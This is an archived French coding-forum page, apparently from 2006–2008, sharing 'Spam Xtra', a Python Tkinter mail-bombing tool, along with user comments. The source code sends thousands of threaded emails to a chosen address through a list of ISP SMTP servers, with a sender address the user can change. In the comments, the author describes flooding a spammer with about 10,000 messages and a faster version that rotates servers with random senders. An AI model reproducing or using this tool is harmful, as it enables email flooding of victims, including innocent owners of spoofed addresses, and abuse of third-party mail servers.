begin process at 2008 07 05 20:39:59
1 205 339 membres
308 nouveaux aujourd'hui
14 119 membres club

Vous ne trouvez pas de réponse à votre problème ? Alors posez la question dans le forum.
Souvenez-vous qu'il n'y a jamais de question bête, mais rester dans l'ignorance parce que l'on n'ose pas poser une question, ça c'est une erreur !

SPAMMEUR


Information sur la source

Attention: ce code a été marqué comme suspect par un admin, il peut donc être dangereux.
Ce code a été laissé sur le site dans un but pédagogique, ne l'exécutez pas si vous ne comprenez pas son contenu!
Catégorie :E-mail / Messagerie Classé sous : spam, message, xeolin, defence, interdit Niveau : Initié Date de création : 06/07/2006 Date de mise à jour : 26/05/2007 15:18:19 Vu / téléchargé: 4 724 / 230

Note :
Aucune note

Commentaire sur cette source (17)
Ajouter un commentaire et/ou une note

Description

BAS IL SERT A SPAMER LES SPAMEURS ...

JE L'AI UTILISER (ct une boite qui m'envoyer 10mail par jour) JE LEUR AI ENVOYER PRES DE 10000 MAIL DISANT :

                    STOP THIS ILLEGAL SPAM !!!
                    Otherwise I SPAM YOU !!!

ET ILS ONT ARRéTéS ^^.

CE N'EST PEUT-ÊTRE PAS UNE SOLUTION MIRACLE NéANMOIN CA PEUT MARCHER ^^

Source

  • from Tkinter import *
  • from tkMessageBox import *
  • import smtplib
  • import time
  • from threading import Thread
  • try :
  • import Pmw
  • except :#Si vous n'avez pas Pmw, cette partie s'executera.
  • def spam () :
  • global from_addr, to_addrs, msg
  • if askyesno("Attention !", "CETTE ACTION PEUT-ETRE ILLEGALE\n\n\nMOI XEOLIN NE SUIS PAS RESPONCEBLE DE VOS AGISSEMENT AVEC CE LOGICIEL.\n\nDE PLUS JE VOUS RAPELLE QUE CE LOGICIEL EST GRATUIT ET NON LIBRE\n\nVOULEZ-VOUS CONTINUER ?") ==True :
  • from_addr = who.get()
  • to_addrs = [who.get()]
  • date = time.ctime(time.time())
  • msg = """From: "HUNTER OF SPAMMER - HUNTER OF HACKER" <HOV_HOH@hotmail.com>
  • Subject: SPAMING
  • Date: %s
  • To: "THE SPAMEUR" <None@hotmail.com>
  • STOP THIS ILLEGAL SPAM !!!
  • OTHERWISE I SPAM YOU !!!
  • """ % date
  • for a in range(0,int(num.get())):
  • starter().start()
  • class starter(Thread):
  • def __init__ (self):
  • Thread.__init__(self)
  • def run(self):
  • s = smtplib.SMTP('smtp.wanadoo.fr')#smtp.free.fr
  • s.sendmail(from_addr, to_addrs, msg)
  • s.quit()
  • def run () :
  • try :
  • nombre = int(num.get())*0.2
  • except :
  • nump.configure(text='temps estime : FORMAT INVALIBLE')
  • else :
  • mnombre=nombre/60
  • mnombre-=mnombre%1
  • nombre-=mnombre*60
  • hnombre=mnombre/60
  • hnombre-=hnombre%1
  • mnombre-=hnombre*60
  • nump.configure(text='temps estime : %s heures %s minutes %s secondes'%(int(hnombre),int(mnombre),nombre))
  • root.after(1000,run)
  • root=Tk()
  • root.title('Spam Xtra | By Xeolin | version 1.8 (Finie)')
  • Label(text='Spamer combien de fois ?',bg='grey0',fg='grey50').grid(row=0,column=0)
  • num=Entry(bg='grey50')
  • num.grid(row=0,column=1)
  • nump=Label(text='temps estime : FORMAT INVALIBLE',bg='grey100')
  • nump.grid(row=0,column=2)
  • Label(text=' A quelle adresse ? ',bg='grey0',fg='grey50').grid(row=1,column=0)
  • who=Entry(bg='grey50')
  • who.grid(row=1,column=1)
  • Button(text=' SPAMMER ! ',command=spam).grid(row=3,column=1)
  • run()
  • root.mainloop()
  • else : #Si vous avez Pmw, cette partie s'executera.
  • stmplist=['smtp.free.fr','smtp.wanadoo.fr','smtp.neuf.fr','smtp.9online.fr','smtp.fr.aol.com','smtp.lycos.co.uk','smtp.cegetel.net','mail.club-internet.fr','smtp.dbmail.com','smtp.evhr.net','smtp.freesurf.fr','smtp.gawab.com','smtp.gmail.com','smtp.ifrance.com','smtp.laposte.net','smtp.magic.fr','smtp.nerim.net','smtp.neuf.fr','smtp.orange.fr','smtp.mail.yahoo.fr']
  • def spam () :
  • global from_addr, to_addrs, msg
  • if askyesno("Attention !", "CETTE ACTION PEUT-ETRE ILLEGALE\n\n\nMOI XEOLIN NE SUIS PAS RESPONCEBLE DE VOS AGISSEMENT AVEC CE LOGICIEL.\n\nDE PLUS JE VOUS RAPELLE QUE CE LOGICIEL EST GRATUIT ET NON LIBRE\n\nVOULEZ-VOUS CONTINUER ?") ==True :
  • if askyesno("Attention !", "CETTE ACTION PEUT-ETRE ILLEGALE\n\n\nMOI XEOLIN NE SUIS PAS RESPONCEBLE DE VOS AGISSEMENT AVEC CE LOGICIEL.\n\nDE PLUS JE VOUS RAPELLE QUE CE LOGICIEL EST GRATUIT ET NON LIBRE\n\nVOULEZ-VOUS CONTINUER ?") ==True :
  • from_addr = who.get()
  • to_addrs = [who.get()]
  • date = time.ctime(time.time())
  • msg = """From: %s
  • Subject: SPAMING
  • Date: %s
  • To: "THE SPAMEUR" <None@hotmail.com>
  • \n\n\n\n\n\n\n\n
  • %s
  • """ % (toto.get(),date,opt.get())
  • for a in range(0,int(num.get())):
  • lanceur().start()
  • class lanceur(Thread):
  • def __init__ (self):
  • Thread.__init__(self)
  • def run(self):
  • try :
  • s = smtplib.SMTP(stmp)
  • s.sendmail(from_addr, to_addrs, msg)
  • s.quit()
  • except : pass
  • def changestmp (e):
  • global stmp
  • stmp=e
  • fen=Tk()
  • Pmw.initialise(fen)
  • fen.title('Spam Xtra | By Xeolin | version 1.7')
  • notebook = Pmw.NoteBook(fen)
  • notebook.pack(fill = 'both', expand = 1, padx = 10, pady = 10)
  • root = notebook.add('general')
  • notebook.tab('general').focus_set()
  • Label(root,text='Spamer combien de fois ?',bg='grey0',fg='grey50').grid(row=0,column=0)
  • num = Pmw.Counter(root,
  • entry_width = 5,
  • entryfield_value = 50,
  • entryfield_validate = {'validator' : 'integer',
  • 'min' : 1, 'max' : 99999}
  • )
  • num.grid(row=0,column=1)
  • Label(root,text=' A quelle adresse ? ',bg='grey0',fg='grey50').grid(row=1,column=0)
  • who=Entry(root,bg='grey50')
  • who.grid(row=1,column=1)
  • Label(root,text=' Quel stmp ? ',bg='grey0',fg='grey50').grid(row=2,column=0)
  • who= Pmw.ComboBox(root,
  • selectioncommand = changestmp,
  • scrolledlist_items = stmplist,
  • )
  • who.grid(row=2,column=1)
  • Button(root,text=' SPAMMER ! ',command=spam).grid(row=4,column=1)
  • root = notebook.add('option avancees')
  • Label(root,text='Message :').pack()
  • opt=Text(root,height=2)
  • opt.pack()
  • opt.insert('0.0','STOP THIS ILLEGAL SPAM !!! \nOTHERWISE I SPAM YOU !!!')
  • toto=Entry(root,width=80)
  • toto.pack()
  • Label(root,text='Adresse de l\'expediteur').pack()
  • toto.insert('0','"HUNTER OF SPAMMER - HUNTER OF HACKER" <HOV_HOH@hotmail.com>')
  • fen.mainloop()
from Tkinter import *
from tkMessageBox import *
import smtplib
import time
from threading import Thread
try :
    import Pmw
except :#Si vous n'avez pas Pmw, cette partie s'executera.
    def spam () :
        global from_addr, to_addrs, msg
        if askyesno("Attention !", "CETTE ACTION PEUT-ETRE ILLEGALE\n\n\nMOI XEOLIN NE SUIS PAS RESPONCEBLE DE VOS AGISSEMENT AVEC CE LOGICIEL.\n\nDE PLUS JE VOUS RAPELLE QUE CE LOGICIEL EST GRATUIT ET NON LIBRE\n\nVOULEZ-VOUS CONTINUER ?") ==True :
                from_addr = who.get()
                to_addrs = [who.get()]
                date = time.ctime(time.time())
                msg = """From: "HUNTER OF SPAMMER - HUNTER OF HACKER" <HOV_HOH@hotmail.com>
Subject: SPAMING
Date: %s
To: "THE SPAMEUR" <None@hotmail.com>

STOP THIS ILLEGAL SPAM !!!
OTHERWISE I SPAM YOU !!!

                """ % date
                for a in range(0,int(num.get())):
                    starter().start()

    class starter(Thread):
       def __init__ (self):
          Thread.__init__(self)


       def run(self):
                s = smtplib.SMTP('smtp.wanadoo.fr')#smtp.free.fr
                s.sendmail(from_addr, to_addrs, msg)
                s.quit()


    def run () :
        try :
            nombre = int(num.get())*0.2
        except :
            nump.configure(text='temps estime : FORMAT INVALIBLE')
        else :
            mnombre=nombre/60
            mnombre-=mnombre%1
            nombre-=mnombre*60
            hnombre=mnombre/60
            hnombre-=hnombre%1
            mnombre-=hnombre*60
            nump.configure(text='temps estime : %s heures %s minutes %s secondes'%(int(hnombre),int(mnombre),nombre))
        root.after(1000,run)


    root=Tk()
    root.title('Spam Xtra | By Xeolin | version 1.8 (Finie)')
    Label(text='Spamer combien de fois ?',bg='grey0',fg='grey50').grid(row=0,column=0)
    num=Entry(bg='grey50')
    num.grid(row=0,column=1)
    nump=Label(text='temps estime : FORMAT INVALIBLE',bg='grey100')
    nump.grid(row=0,column=2)
    Label(text='    A quelle adresse ?        ',bg='grey0',fg='grey50').grid(row=1,column=0)
    who=Entry(bg='grey50')
    who.grid(row=1,column=1)
    Button(text=' SPAMMER ! ',command=spam).grid(row=3,column=1)
    run()
    root.mainloop()
else :  #Si vous avez Pmw, cette partie s'executera.
    stmplist=['smtp.free.fr','smtp.wanadoo.fr','smtp.neuf.fr','smtp.9online.fr','smtp.fr.aol.com','smtp.lycos.co.uk','smtp.cegetel.net','mail.club-internet.fr','smtp.dbmail.com','smtp.evhr.net','smtp.freesurf.fr','smtp.gawab.com','smtp.gmail.com','smtp.ifrance.com','smtp.laposte.net','smtp.magic.fr','smtp.nerim.net','smtp.neuf.fr','smtp.orange.fr','smtp.mail.yahoo.fr']

    def spam () :
        global from_addr, to_addrs, msg
        if askyesno("Attention !", "CETTE ACTION PEUT-ETRE ILLEGALE\n\n\nMOI XEOLIN NE SUIS PAS RESPONCEBLE DE VOS AGISSEMENT AVEC CE LOGICIEL.\n\nDE PLUS JE VOUS RAPELLE QUE CE LOGICIEL EST GRATUIT ET NON LIBRE\n\nVOULEZ-VOUS CONTINUER ?") ==True :
            if askyesno("Attention !", "CETTE ACTION PEUT-ETRE ILLEGALE\n\n\nMOI XEOLIN NE SUIS PAS RESPONCEBLE DE VOS AGISSEMENT AVEC CE LOGICIEL.\n\nDE PLUS JE VOUS RAPELLE QUE CE LOGICIEL EST GRATUIT ET NON LIBRE\n\nVOULEZ-VOUS CONTINUER ?") ==True :
                    from_addr = who.get()
                    to_addrs = [who.get()]
                    date = time.ctime(time.time())
                    msg = """From: %s
                    Subject: SPAMING
                    Date: %s
                    To: "THE SPAMEUR" <None@hotmail.com>
        \n\n\n\n\n\n\n\n
                            %s

                    """ % (toto.get(),date,opt.get())
                    for a in range(0,int(num.get())):
                        lanceur().start()


    class lanceur(Thread):
       def __init__ (self):
          Thread.__init__(self)


       def run(self):
                try :
                    s = smtplib.SMTP(stmp)
                    s.sendmail(from_addr, to_addrs, msg)
                    s.quit()
                except : pass

                

    def changestmp (e):
        global stmp
        stmp=e

    fen=Tk()
    Pmw.initialise(fen)
    fen.title('Spam Xtra | By Xeolin | version 1.7')

    notebook = Pmw.NoteBook(fen)
    notebook.pack(fill = 'both', expand = 1, padx = 10, pady = 10)
    root = notebook.add('general')
    notebook.tab('general').focus_set()



    Label(root,text='Spamer combien de fois ?',bg='grey0',fg='grey50').grid(row=0,column=0)

    num = Pmw.Counter(root,
                    entry_width = 5,
                    entryfield_value = 50,
                    entryfield_validate = {'validator' : 'integer',
                            'min' : 1, 'max' : 99999}
            )
    num.grid(row=0,column=1)
    Label(root,text='    A quelle adresse ?        ',bg='grey0',fg='grey50').grid(row=1,column=0)
    who=Entry(root,bg='grey50')
    who.grid(row=1,column=1)
    Label(root,text='    Quel stmp ?    ',bg='grey0',fg='grey50').grid(row=2,column=0)
    who= Pmw.ComboBox(root,
                    selectioncommand = changestmp,
                    scrolledlist_items = stmplist,
            )

    who.grid(row=2,column=1)
    Button(root,text=' SPAMMER ! ',command=spam).grid(row=4,column=1)

    root = notebook.add('option avancees')
    Label(root,text='Message :').pack()
    opt=Text(root,height=2)
    opt.pack()
    opt.insert('0.0','STOP THIS ILLEGAL SPAM !!! \nOTHERWISE I SPAM YOU !!!')
    toto=Entry(root,width=80)
    toto.pack()
    Label(root,text='Adresse de l\'expediteur').pack()
    toto.insert('0','"HUNTER OF SPAMMER - HUNTER OF HACKER" <HOV_HOH@hotmail.com>')
    fen.mainloop()

Conclusion

Je déconseille l'utilisation de ce programme.

Je conseille d'avoir pmw pour ce script : l'interface est beaucoup plus jolie et complète.
Pour les "Membres Club", vous pouvez télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !

Télécharger le zip

07 juillet 2006 11:53:46 :
UNE LIGNE DE TROP DSL
07 août 2006 20:04:03 :
...
26 mai 2007 14:33:02 :
Utilisation des Threads
26 mai 2007 15:18:19 :
Ajout de "notebook", Ajout d'une liste de stmp, Ajout d'une sécuritée du compteur, Ajout de la possibilitée de modifier l'adresse de l'expediteur et de changer le message. Seulement pour les adeptes de Pmw.
  • signaler à un administrateur
    Commentaire de Sannazzarotiti le 08/07/2006 03:53:28

    lol j'aime bien l'idee ^^

  • signaler à un administrateur
    Commentaire de alain04 le 10/07/2006 13:24:10

    Bonjour,
    Il faut combattre l'adversaire avec ses propres armes.
    Si la démarche semble répréhensible, elle ne l'est pas moins que celles qui nous bombardent à longueur de journée sans que l'on puisse se défendre.
    Quand à la législation, elle devrait commencer par nous protéger des e-mail non sollicités, dont 90% viennent toujours du même pays.
    Si intellectuellement la démarche peut être discutée, il faut souligner le courage des responsables de ce site, qui ont estimé pouvoir se permettre de laisser ce source visible, faisant ainsi confiance à la qualité des internautes qu'ils recoivent et permettant à chacun de faire face à ses reponsabilités.
    Cordialement.
    Alain.

  • signaler à un administrateur
    Commentaire de simla le 10/07/2006 14:13:40

    Juste une petite remarque, "sinon" en anglais se dit "otherwise", je crois, et non "if no" ^^ :p

  • signaler à un administrateur
    Commentaire de fenelon77 le 10/07/2006 15:32:36

    L'enfer est pavé de bonnes intentions... Une des astuces des spammeurs est d'envoyer leurs pourriels sous une fausse adresse d'expéditeur, piratée à la volée ici ou là : c'est ainsi que je reçois parfois des spams envoyés par... moi-même (j'ai donc dû mettre ma propre adresse en liste rouge d'expéditeurs). La réplique proposée par XEOLIN part d'un bon sentiment, mais pourrait bloquer la messagerie d'innocentes victimes d'un piratage d'adresse... Je suis donc contre cette méthode. Mieux vaut un filtrage efficace sur objets ou contenus.

  • signaler à un administrateur
    Commentaire de Sannazzarotiti le 10/07/2006 19:24:30

    puis souvent ce sont des robots donc pas obligatoirement utile. SA depent des fois. En quoi la sources est dangereuse ?

  • signaler à un administrateur
    Commentaire de xeolin le 14/07/2006 20:17:03

    pour fenelon77

    SACHEZ QUE IL NE FAUT PAS ENVOYER LE MAIL A L'ADRESSE INDIQUER PAR VOTRE LOGICIEL !

    IL FAUTT RECHERCHER LA CIBLE !!!

    SI VOUS NE SAVEZ PAS FAIRE : NE SPAMEZ PAS SINON !!!

    ET LISEZ LE MESSAGE EN ROUGE

    XEOLIN

    (de plus ce logiciel a un but purement lucratif...
    donc ne faites pas comme moi et ne l'utilisez pas...
    )

    _______________________________________________


    pour  Sannazzarotiti :

    Sache que le spam peut être considéré comme une sorte de 'Arcellement'...
    ce qui dans la legislation Française est interdit... ^^$
    bon vla pour toi

    _____ Suivant __________________________________

    pour simla

    desoler ^^

    mais en python on dit 'if no' pour sinon au lieu de 'otherwise' et puis...
    comme en francais je suis nul dans orthographe englaise ^^$
    sinon merci...

    mais regarde ' Sannazzarotiti':

    1- ' Sannazzarotiti ' s'écrit ' Sanoazarôtzitï ' (ce qui signifit 'mito' en japonais)

    2- 'SA depent des fois.' on le dit : 'Ca depent des fois.' car on pourai dire : 'Cela depent des fois.'

    ____________________________________________________________

    pour alain04

    lol

    comment faire ?

    comme je l'ai dit a fenelon, pour trouver le maileur il faut trouver ca source (souvent les gros le font a partir d'autre ordi ^^$ ou cachent leur ip ^^$ bon a realiser c asser dur mais a demolir c casi imposible...)

    ca c bien pour faire mumuse avec ses copain... ^^

    ___________________________________________________
    a tous

    bon c asser dure a saisir mais sachez que il y a des centaine de professionel...
    qui travaillent sur un moyen de les areter...

    donc mon prog est une facon de nous aider même si elle est maladroite...

    ___________________________________________________

    Xeolin - allez sur 'http://www.pythonfrance.com/infomsg_FONCTION-INCONNUE_772549.aspx'

  • signaler à un administrateur
    Commentaire de fenelon77 le 19/07/2006 09:07:09

    D'accord, mais ce serait mieux de dire dans la présentation qu'il ne faut pas retourner à l'adresse d'expéditeur indiquée, plutôt que de proférer des menaces sinon !!! Tout le monde n'est pas un petit génie de l'Internet.

    Cherchez dans un dictionnaire le sens du mot "lucratif".

  • signaler à un administrateur
    Commentaire de xeolin le 07/08/2006 20:00:54

    "Tout le monde n'est pas un petit génie de l'Internet."

    ...

    decu...

    je voulai aider et voila on m'insulte...

  • signaler à un administrateur
    Commentaire de fenelon77 le 08/08/2006 00:04:55

    Je ne voulais ni insulter ni blesser. Mes excuses si tu l'as ressenti comme ça. J'ai répondu à ton message du 14 juillet, bien condescendant (ce n'est pas un gros mot) sur le même ton, sans plus.

  • signaler à un administrateur
    Commentaire de kerneltony95 le 07/09/2006 21:26:03

    admin je vois pas ce qu il y a de dangereux dans cette source
    c' est qune mail bombing de lamer rien de dangereux lol...

  • signaler à un administrateur
    Commentaire de econs le 08/09/2006 08:51:38 administrateur CS

    Ce n'est pas moi qui ai marqué ce code comme "potentiellement dangereux", mais je peux néanmoins t'apporter la raison.
    Mis entre de mauvaises mains, ou entre les mains de personnes qui ne comprennent ni le code, ni l'éthique liée à l'envoi de mail, il peut être dangereux.
    L'utilisation abusive du SMTP de Wanadoo (devenu Orange) ou de Free peut vous causer bien des soucis (techniques, juridiques, ...).
    Le code est laissé car il est instructif, mais l'utilisation (pour de bonnes ou mauvaises raisons) est à vos risques et périls.

  • signaler à un administrateur
    Commentaire de kerneltony95 le 08/09/2006 16:26:38

    oui je comprend vu sur cette optique

    vu les petits rigolos qui flood, ainsi que les spamers mais leur
    répondre de la même façon ca peut calmer les spammer mais c' est aussi
    rentrer dans leur jeu non?

    mais d' un autre coté c 'est pas mal de la laisser à but instructif...

  • signaler à un administrateur
    Commentaire de V4mp le 25/09/2007 21:33:38

    Bien joué le programme originale ^^ !

    Bah Spammer c'est mal on le sait tous je pense.

  • signaler à un administrateur
    Commentaire de alain04 le 25/09/2007 22:15:56

    Oui, mais ... quand même :
    Lors des dernières élections (!) je me suis fait bombardé par des particuliers (environ 20 mails par jours chacun)qui étaient pour machin et contre chose.
    J'ai donc voulu utiliser ce script pour me défendre, mais, connaissant le réceptionnaire visé, je peux dire ici que celà n'à pas fonctionné.
    C'est sûrement de ma faute, bien sûr ;-)

  • signaler à un administrateur
    Commentaire de V4mp le 26/09/2007 01:11:38

    On n'est jamais innocent et justement c'est de la pub pour ta patrie :-p, donc c'est pas vraiment du spam mais de l'incitation a aller voté alain04 bref c'est pas un debat politique ^^.

  • signaler à un administrateur
    Commentaire de xeolin le 27/01/2008 19:15:28

    J'ai fait une nouvelle mise a jour, que je ne distriburait pas, mais voila l'idee:

    On utilise un Thread pour chaque fournisseur de service STMP, (perso j'en ai trouver 20), et on envoit les messages par la en utilisant une adresse electronique aleatoire(biensur le nom de domaine correspond au serveur.)

    ce qui fait du 25 mail a la seconde (environ)
    donc en 1 minute vous faites 1500 mail :) (moi perso 1438).

    entre temps, comme j'ai toujours dit, n'utilisez pas ce logiciel, j'ai trouver une ptite faille de securitee.

    Xeolin :)

  • signaler à un administrateur
    Commentaire de alain04 le 27/01/2008 19:40:51

    Salut Xeolin,
    On peut peut-être le télécharger sur une URL quelconque ... ;-)
    alain04

Ajouter un commentaire

Discussions en rapport avec ce code source

Pub



Appels d'offres

Plugin Dialer outlook
Budget : 2 000€
Travail graphique- ill...
Budget : 1 000€
creation de marque et ...
Budget : 1 000€

Snippets en rapport

CalendriCode

Juillet 2008
LMMJVSD
 123456
78910111213
14151617181920
21222324252627
28293031   

VS Express FR Gratuit !

VS Express en français et 100% gratuit !

Téléchargements

Logiciels à télécharger sur le même thème :

Boutique

Boutique de goodies CodeS-SourceS